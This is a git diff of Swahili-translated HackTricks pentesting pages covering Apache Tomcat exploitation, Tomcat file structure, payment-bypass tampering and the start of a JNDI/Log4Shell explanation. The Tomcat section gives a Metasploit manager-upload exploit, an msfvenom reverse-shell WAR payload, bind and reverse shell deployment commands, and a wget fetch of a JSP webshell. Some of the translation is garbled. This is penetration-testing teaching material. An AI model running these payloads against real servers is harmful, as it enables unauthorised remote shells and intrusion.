`/usr/share/tomcat9/etc/tomcat-users.xml` (inatofautiana kati ya matoleo) (angalia [POST](tomcat.md#post) sehemu). ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed @@ -123,7 +133,7 @@ curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell ``` ### Metasploit -Metasploit ni chombo cha nguvu cha kufanya uchambuzi wa usalama na uchunguzi wa kina wa usalama wa mtandao. +Metasploit ni chombo cha nguvu cha kufanya uchambuzi wa usalama na uchunguzi wa kina wa usalama wa mtandao. Inatoa moduli nyingi zilizojengwa kwa ajili ya kufanya mashambulizi na kuchunguza mapungufu katika mifumo ya kompyuta. Metasploit inaweza kutumika kwa ufanisi katika upimaji wa usalama wa wavuti na kuchunguza mifumo ya Tomcat kwa mapungufu yanayoweza kudukuliwa. ```bash use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost @@ -132,15 +142,15 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername msf exploit(multi/http/tomcat_mgr_upload) > set httppassword msf exploit(multi/http/tomcat_mgr_upload) > exploit ``` -### MSFVenom Reverse Shell +### Kifaa cha Kugeuza Shell ya MSFVenom 1. Unda war kwa ajili ya kupeleka: ```bash msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war ``` -2. Pakia faili ya `revshell.war` na ufikie (`/revshell/`): +### Weka faili la `revshell.war` na ufikie (`/revshell/`): -### Bind na reverse shell na [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) +### Kufunga na kurejesha kabati na [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) Katika hali fulani hii haifanyi kazi (kwa mfano toleo za zamani za sun) @@ -152,9 +162,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git ```bash ./tomcatWarDeployer.py -U -P -H -p :/manager/html/ ``` -#### Bind shell - -#### Shell ya Kufunga +#### Kifungu cha Bind ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` @@ -195,11 +203,9 @@ jar -cvf ../webshell.war * webshell.war is created # Upload it ``` -Unaweza pia kusakinisha hii (inaruhusu kupakia, kupakua na utekelezaji wa amri): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) +### Mbinu ya Mikono 2 -### Mbinu ya Kufanya kwa Mkono 2 - -Pata ganda la Wavuti la JSP kama [hili](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na unda faili ya WAR: +Pata ganda la wavuti la JSP kama [hili](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na unda faili la WAR: ```bash wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp zip -r backup.war cmd.jsp @@ -226,14 +232,20 @@ msf> use post/windows/gather/enum_tomcat * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! -* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md index ff870d25a..21ddf778b 100644 --- a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md +++ b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md @@ -5,13 +5,21 @@ Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! * Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ### Epuka kukimbia kama root Ili kuepuka kukimbia Tomcat kama root, usanidi wa kawaida sana ni kuweka seva ya Apache kwenye bandari 80/443 na, ikiwa njia inayotakiwa inalingana na regexp, ombi linatumwa kwa Tomcat ukiendesha kwenye bandari tofauti. @@ -41,12 +49,12 @@ Ili kuepuka kukimbia Tomcat kama root, usanidi wa kawaida sana ni kuweka seva ya └── Catalina └── localhost ``` -* Kabrasha `bin` inahifadhi hati na binaries inayohitajika kuanza na kuendesha seva ya Tomcat. +* Kabrasha `bin` inahifadhi hati na binaries zinazohitajika kuanza na kuendesha seva ya Tomcat. * Kabrasha `conf` inahifadhi faili mbalimbali za usanidi zinazotumiwa na Tomcat. * Faili ya `tomcat-users.xml` inahifadhi siri za mtumiaji na majukumu yao yaliyopewa. -* Kabrasha `lib` inashikilia faili za JAR mbalimbali zinazohitajika kwa kufanya kazi kwa usahihi wa Tomcat. +* Kabrasha `lib` inashikilia JAR files mbalimbali zinazohitajika kwa kufanya kazi kwa usahihi wa Tomcat. * Kabrasha `logs` na `temp` inahifadhi faili za logi za muda. -* Kabrasha `webapps` ndio mizizi ya wavuti ya msingi ya Tomcat na inahifadhi maombi yote. Kabrasha ya `work` inafanya kazi kama cache na hutumika kuhifadhi data wakati wa muda wa uendeshaji. +* Kabrasha `webapps` ni mizizi ya wavuti ya msingi ya Tomcat na inahifadhi maombi yote. Kabrasha ya `work` inafanya kazi kama cache na hutumika kuhifadhi data wakati wa muda wa uendeshaji. Kila kabrasha ndani ya `webapps` inatarajiwa kuwa na muundo ufuatao. ``` @@ -65,8 +73,8 @@ webapps/customapp └── classes └── AdminServlet.class ``` -Faili muhimu zaidi kati ya haya ni `WEB-INF/web.xml`, ambalo hujulikana kama maelezo ya kupeleka. Faili hili hifadhi **taarifa kuhusu njia** zinazotumiwa na programu na darasa zinazoshughulikia njia hizo.\ -Darasa zote zilizopangiliwa zinazotumiwa na programu zinapaswa kuhifadhiwa kwenye folda ya `WEB-INF/classes`. Darasa hizi zinaweza kuwa na mantiki muhimu ya biashara pamoja na taarifa nyeti. Upungufu wowote katika faili hizi unaweza kusababisha kuhatarisha kabisa tovuti. Folda ya `lib` hifadhi maktaba zinazohitajika na programu hiyo maalum. Folda ya `jsp` hifadhi [Kurasa za Seva za Jakarta (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), ambazo hapo awali zilijulikana kama `JavaServer Pages`, ambazo zinaweza kulinganishwa na faili za PHP kwenye seva ya Apache. +Faili muhimu zaidi kati ya haya ni `WEB-INF/web.xml`, inayojulikana kama maelezo ya kupeleka. Faili hili hifadhi **taarifa kuhusu njia** zinazotumiwa na programu na darasa zinazoshughulikia njia hizo.\ +Darasa zote zilizopangwa zinazotumiwa na programu zinapaswa kuhifadhiwa kwenye folda ya `WEB-INF/classes`. Darasa hizi zinaweza kuwa na mantiki muhimu ya biashara pamoja na taarifa nyeti. Upungufu wowote katika faili hizi unaweza kusababisha kuvamiwa kwa jumla kwa tovuti. Folda ya `lib` inahifadhi maktaba zinazohitajika na programu hiyo maalum. Folda ya `jsp` inahifadhi [Kurasa za Seva za Jakarta (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), hapo awali inayojulikana kama `JavaServer Pages`, ambayo inaweza kulinganishwa na faili za PHP kwenye seva ya Apache. Hapa kuna mfano wa faili ya **web.xml**. ```xml @@ -86,15 +94,15 @@ Hapa kuna mfano wa faili ya **web.xml**. ``` -Konfigurisheni ya `web.xml` hapo juu inadefini **servlet mpya inayoitwa `AdminServlet`** ambayo imepangwa kwa **darasa `com.inlanefreight.api.AdminServlet`**. Java hutumia maelezo ya nukta kuunda majina ya pakiti, maana njia kwenye diski kwa darasa lililofafanuliwa hapo juu itakuwa: +Konfigurisheni ya `web.xml` hapo juu inadefini **servlet mpya inayoitwa `AdminServlet`** ambayo imepangiliwa kwa **darasa `com.inlanefreight.api.AdminServlet`**. Java hutumia notesheni ya mshale kuunda majina ya pakiti, maana njia kwenye diski kwa darasa lililofafanuliwa hapo juu itakuwa: * **`classes/com/inlanefreight/api/AdminServlet.class`** -Kisha, pambizo mpya la servlet inaundwa ili **kupanga maombi kwa `/admin` na `AdminServlet`**. Usanidi huu utapeleka ombi lolote lililopokelewa kwa **`/admin` kwa darasa la `AdminServlet.class`** kwa usindikaji. Mwambaa wa **`web.xml`** una taarifa nyingi **nyeti** na ni faili muhimu ya kuangalia unapotumia udhaifu wa **Ufichuaji wa Faili za Ndani (LFI)**. +Kisha, kielekezi kipya cha servlet kinajengwa ili **kupanga maombi kwa `/admin` na `AdminServlet`**. Usanidi huu utapeleka ombi lolote lililopokelewa kwa **`/admin` kwa darasa la `AdminServlet.class`** kwa usindikaji. Mwambaa wa **`web.xml`** una taarifa nyingi **nyeti** na ni faili muhimu ya kuangalia unapotumia udhaifu wa **Uvuvi wa Faili ya Ndani (LFI)**. -### tomcat-users +### watumiaji wa tomcat -Faili ya **`tomcat-users.xml`** hutumiwa ku **ruhusu** au kukataa ufikiaji wa kurasa za admin za **`/manager` na `host-manager`**. +Faili ya **`tomcat-users.xml`** hutumiwa ku **ruhusu** au kupiga marufuku upatikanaji wa kurasa za admin za **`/manager` na `host-manager`**. ```xml @@ -135,20 +143,26 @@ will also need to set the passwords to something appropriate. ``` -Faili linaonyesha ni nini kila moja ya majukumu `manager-gui`, `manager-script`, `manager-jmx`, na `manager-status` hutoa ufikiaji. Katika mfano huu, tunaweza kuona kwamba mtumiaji `tomcat` na nenosiri `tomcat` ana jukumu la `manager-gui`, na nenosiri dhaifu la pili `admin` limewekwa kwa akaunti ya mtumiaji `admin` +Faili linaonyesha ni nini kila jukumu la `manager-gui`, `manager-script`, `manager-jmx`, na `manager-status` hutoa ufikiaji. Katika mfano huu, tunaweza kuona kwamba mtumiaji `tomcat` na nenosiri `tomcat` ana jukumu la `manager-gui`, na nenosiri dhaifu la pili `admin` limewekwa kwa akaunti ya mtumiaji `admin` ## Marejeo * [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090) +**Kikundi cha Usalama cha Kujitahidi Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
-Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! * Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/pentesting-web/bypass-payment-process.md b/pentesting-web/bypass-payment-process.md index bd934211c..13b7bc754 100644 --- a/pentesting-web/bypass-payment-process.md +++ b/pentesting-web/bypass-payment-process.md @@ -6,41 +6,68 @@ Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +**Kikundi cha Usalama cha Kujitahidi** -## Mbinu za Kupita Mchakato wa Malipo +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +## Mbinu za Kupita Malipo ### Udukuzi wa Ombi Wakati wa mchakato wa shughuli, ni muhimu kufuatilia data inayobadilishwa kati ya mteja na seva. Hii inaweza kufanywa kwa kudukua maombi yote. Ndani ya maombi haya, angalia vigezo vyenye athari kubwa, kama vile: - **Mafanikio**: Kigezo hiki mara nyingi huonyesha hali ya shughuli. -- **Mwambaa**: Inaweza kuashiria chanzo ambacho ombi lilianzia. -- **Kurudi kwa Wito**: Kawaida hutumiwa kwa kumwongoza mtumiaji baada ya shughuli kukamilika. +- **Referrer**: Inaweza kuelekeza chanzo ambacho ombi lilitokea. +- **Kurudi kwa Wito**: Kawaida hutumiwa kwa kumrudisha mtumiaji baada ya shughuli kukamilika. ### Uchambuzi wa URL -Ikiwa unakutana na kigezo kinachojumuisha URL, hasa moja inayofuata muundo _mfano.com/malipo/MD5HASH_, inahitaji uchunguzi wa karibu. Hapa kuna njia ya hatua kwa hatua: +Ikiwa unakutana na kigezo kinachojumuisha URL, hasa moja inayofuata muundo wa _mfano.com/malipo/MD5HASH_, inahitaji uchunguzi wa karibu. Hapa kuna njia ya hatua kwa hatua: 1. **Nakili URL**: Chukua URL kutoka kwa thamani ya kigezo. 2. **Uchunguzi wa Dirisha Jipya**: Fungua URL iliyonakiliwa kwenye dirisha jipya la kivinjari. Hatua hii ni muhimu kwa kuelewa matokeo ya shughuli. ### Ubadilishaji wa Vigezo -1. **Badilisha Thamani za Kigezo**: Jaribu kwa kubadilisha thamani za vigezo kama _Mafanikio_, _Mwambaa_, au _Kurudi kwa Wito_. Kwa mfano, kubadilisha kigezo kutoka `uwongo` hadi `kweli` mara nyingi inaweza kufunua jinsi mfumo unavyoshughulikia matokeo haya. -2. **Ondoa Vigezo**: Jaribu kuondoa baadhi ya vigezo kabisa kuona jinsi mfumo unavyojibu. Baadhi ya mifumo inaweza kuwa na mbadala au tabia za msingi wakati vigezo vinavyotarajiwa havipo. +1. **Badilisha Thamani za Vigezo**: Jaribu kubadilisha thamani za vigezo kama _Mafanikio_, _Referrer_, au _Kurudi kwa Wito_. Kwa mfano, kubadilisha kigezo kutoka `uwongo` hadi `kweli` mara nyingine inaweza kufunua jinsi mfumo unavyoshughulikia matokeo haya. +2. **Ondoa Vigezo**: Jaribu kuondoa baadhi ya vigezo kabisa kuona jinsi mfumo unavyojibu. Baadhi ya mifumo inaweza kuwa na mifumo mbadala au tabia za msingi wakati vigezo vinavyotarajiwa havipo. ### Udukuzi wa Kuki -1. **Chunguza Kuki**: Tovuti nyingi huhifadhi habari muhimu kwenye kuki. Angalia kuki hizi kwa data yoyote inayohusiana na hali ya malipo au uthibitishaji wa mtumiaji. -2. **Badilisha Thamani za Kuki**: Badilisha thamani zilizohifadhiwa kwenye kuki na uangalie jinsi jibu au tabia ya tovuti inavyobadilika. +1. **Angalia Kuki**: Tovuti nyingi huhifadhi habari muhimu kwenye kuki. Angalia kuki hizi kwa data yoyote inayohusiana na hali ya malipo au uthibitishaji wa mtumiaji. +2. **Badilisha Thamani za Kuki**: Badilisha thamani zilizohifadhiwa kwenye kuki na uone jinsi jibu au tabia ya tovuti inavyobadilika. ### Utekapu wa Kikao 1. **Vidakuzi vya Kikao**: Ikiwa vitambulisho vya kikao vinatumika katika mchakato wa malipo, jaribu kuviteka na kuvibadilisha. Hii inaweza kutoa ufahamu wa mapungufu katika usimamizi wa kikao. -### Ubadilishaji wa Jibu +### Ubadilishaji wa Majibu 1. **Dukua Majibu**: Tumia zana kudukua na kuchambua majibu kutoka kwa seva. Tafuta data yoyote inayoweza kuashiria shughuli iliyofanikiwa au kufunua hatua inayofuata katika mchakato wa malipo. 2. **Badilisha Majibu**: Jaribu kubadilisha majibu kabla ya kusindika na kivinjari au programu ili kusimuliza hali ya shughuli iliyofanikiwa. + +**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +
+ +Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! + +Njia nyingine za kusaidia HackTricks: + +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. + +
diff --git a/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md index b5fbd2e8a..b45727e9e 100644 --- a/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md +++ b/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md @@ -6,32 +6,40 @@ Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! +* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ## Taarifa Msingi -JNDI, iliyoundwa katika Java tangu miaka ya 1990, hutumika kama huduma ya saraka, ikiruhusu programu za Java kupata data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za saraka kupitia interface za watoa huduma (SPIs), kuruhusu kupata data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vya mbali. SPIs za kawaida ni pamoja na CORBA COS, Usajili wa Java RMI, na LDAP. +JNDI, iliyoundwa katika Java tangu miaka ya 1990, hutumika kama huduma ya saraka, ikiruhusu programu za Java kupata data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za saraka kupitia interfaces za watoa huduma (SPIs), kuruhusu kupata data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vilivyoko mbali. SPIs za kawaida ni pamoja na CORBA COS, Usajili wa Java RMI, na LDAP. -### Kumbukumbu ya Majina ya JNDI +### Kumbukumbu ya Jina la JNDI Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia Marejeleo ya Majina ya JNDI, ambayo huja katika aina mbili: * **Anwani za Marejeleo**: Inabainisha eneo la kipengee (k.m., _rmi://server/ref_), kuruhusu kupata moja kwa moja kutoka kwa anwani iliyobainishwa. * **Kiwanda cha Mbali**: Kinarejelea darasa la kiwanda cha mbali. Inapofikiwa, darasa hilo linapakuliwa na kuanzishwa kutoka eneo la mbali. -Hata hivyo, mfumo huu unaweza kutumiwa vibaya, ikisababisha kupakia na kutekeleza kanuni za aina yoyote. Kama kinga: +Hata hivyo, mfumo huu unaweza kutumiwa vibaya, ikisababisha upakiaji na utekelezaji wa nambari ya aina yoyote. Kama kinga: -* **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa chaguo-msingi kutoka JDK 7u21, ikizuia kupakia vitu vya mbali. Meneja wa Usalama anazuia zaidi ni nini kinaweza kupakiwa. -* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwekwa kama `kweli`, utekelezaji wa kanuni za mbali unawezekana bila usimamizi wa Meneja wa Usalama. +* **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa chaguo-msingi kutoka JDK 7u21, ikizuia upakiaji wa vitu vya mbali. Meneja wa Usalama anazuia zaidi nini kinaweza kupakiwa. +* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwekwa kama `kweli`, utekelezaji wa nambari ya mbali unawezekana bila usimamizi wa Meneja wa Usalama. * **CORBA**: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai. -Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mifumo ya usalama iliyojengwa ndani, ikiruhusu kupata vitu kutoka vyanzo vyovyote. Hii inaleta hatari kwani kinga za RMI, LDAP, na CORBA zinaweza kudanganywa, ikisababisha kupakia vitu vya Java visivyo na mpangilio au kutumia vipengee vilivyopo vya programu (gadgets) kutekeleza kanuni mbaya. +Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mifumo ya usalama iliyojengwa ndani, ikiruhusu upatikanaji wa vitu kutoka vyanzo vyovyote. Hii inaleta hatari kwani kinga za RMI, LDAP, na CORBA zinaweza kudanganywa, ikisababisha upakiaji wa vitu vya Java visivyohusika au kutumia vipengele vya programu vilivyopo (gadgets) kutekeleza nambari yenye nia mbaya. Mifano ya URL zinazoweza kutumiwa vibaya ni pamoja na: @@ -39,13 +47,13 @@ Mifano ya URL zinazoweza kutumiwa vibaya ni pamoja na: * _ldap://attacker-server/bar_ * _iiop://attacker-server/bar_ -Licha ya kinga, mapungufu yanaendelea, hasa kutokana na ukosefu wa ulinzi dhidi ya kupakia JNDI kutoka kwa vyanzo visivyoaminika na uwezekano wa kuzidi kinga zilizopo. +Licha ya kinga, mapungufu bado yapo, hasa kutokana na ukosefu wa ulinzi dhidi ya kupakia JNDI kutoka kwa vyanzo visivyoaminika na uwezekano wa kuzidi kinga zilizopo. ### Mfano wa JNDI ![](<../../.gitbook/assets/image (655) (1) (1).png>) -Hata kama umeweka **`PROVIDER_URL`**, unaweza kuelekeza kwenye moja tofauti katika utafutaji na itafikiwa: `ctx.lookup("")` na hicho ndicho ambacho muhusika atatumia kudukua kupakia vitu vya aina yoyote kutoka kwa mfumo anaodhibiti. +Hata kama umeweka **`PROVIDER_URL`**, unaweza kuelekeza kwenye moja tofauti katika utafutaji na itafikiwa: `ctx.lookup("")` na hicho ndicho mshambuliaji atakachotumia kudai vitu visivyohusika kutoka kwa mfumo anaodhibiti. ### Muhtasari wa CORBA @@ -54,29 +62,29 @@ CORBA (Muundo wa Mfumo wa Ombi la Vitu vya Kawaida) hutumia **Kumbukumbu ya Vitu * **Kitambulisho cha Aina**: Kitambulisho kipekee cha kiolesura. * **Codebase**: URL ya kupata darasa la stub. -Kwa kuzingatia, CORBA haiko hatarini kwa asili. Kuhakikisha usalama kawaida kunahusisha: +Kwa kuzingatia, CORBA haiko hatarini kwa asili. Kuhakikisha usalama kawaida hujumuisha: * Usanidi wa **Meneja wa Usalama**. -* Kuweka Meneja wa Usalama kuruhusu uunganisho kwa vituo vya kanuni vinavyoweza kuwa na nia mbaya. Hii inaweza kufikiwa kupitia: +* Kuweka Meneja wa Usalama kuruhusu uunganisho kwenye vituo vya nambari za mbaya. Hii inaweza kufikiwa kupitia: * Ruhusa ya Soketi, k.m., `ruhusa java.net.SocketPermission "*:1098-1099", "unganishi";`. -* Ruhusa ya kusoma faili, iwe kwa ujumla (`ruhusa java.io.FilePermission "<>", "soma";`) au kwa saraka maalum ambapo faili zenye nia mbaya zinaweza kuwekwa. +* Ruhusa ya kusoma faili, iwe kwa ujumla (`ruhusa java.io.FilePermission "<>", "soma";`) au kwa saraka maalum ambapo faili za mbaya zinaweza kuwekwa. -Hata hivyo, sera za baadhi ya wauzaji zinaweza kuwa nyororo na kuruhusu uunganisho huu kwa chaguo-msingi. +Hata hivyo, sera za baadhi ya wauzaji zinaweza kuwa nyepesi na kuruhusu uunganisho huu kwa chaguo-msingi. ### Muktadha wa RMI -Kwa RMI (Mwito wa Mbali wa Njia), hali ni tofauti kidogo. Kama ilivyo na CORBA, kupakua darasa la aina yoyote kwa kawaida kunazuiliwa kwa chaguo-msingi. Kudukua RMI, 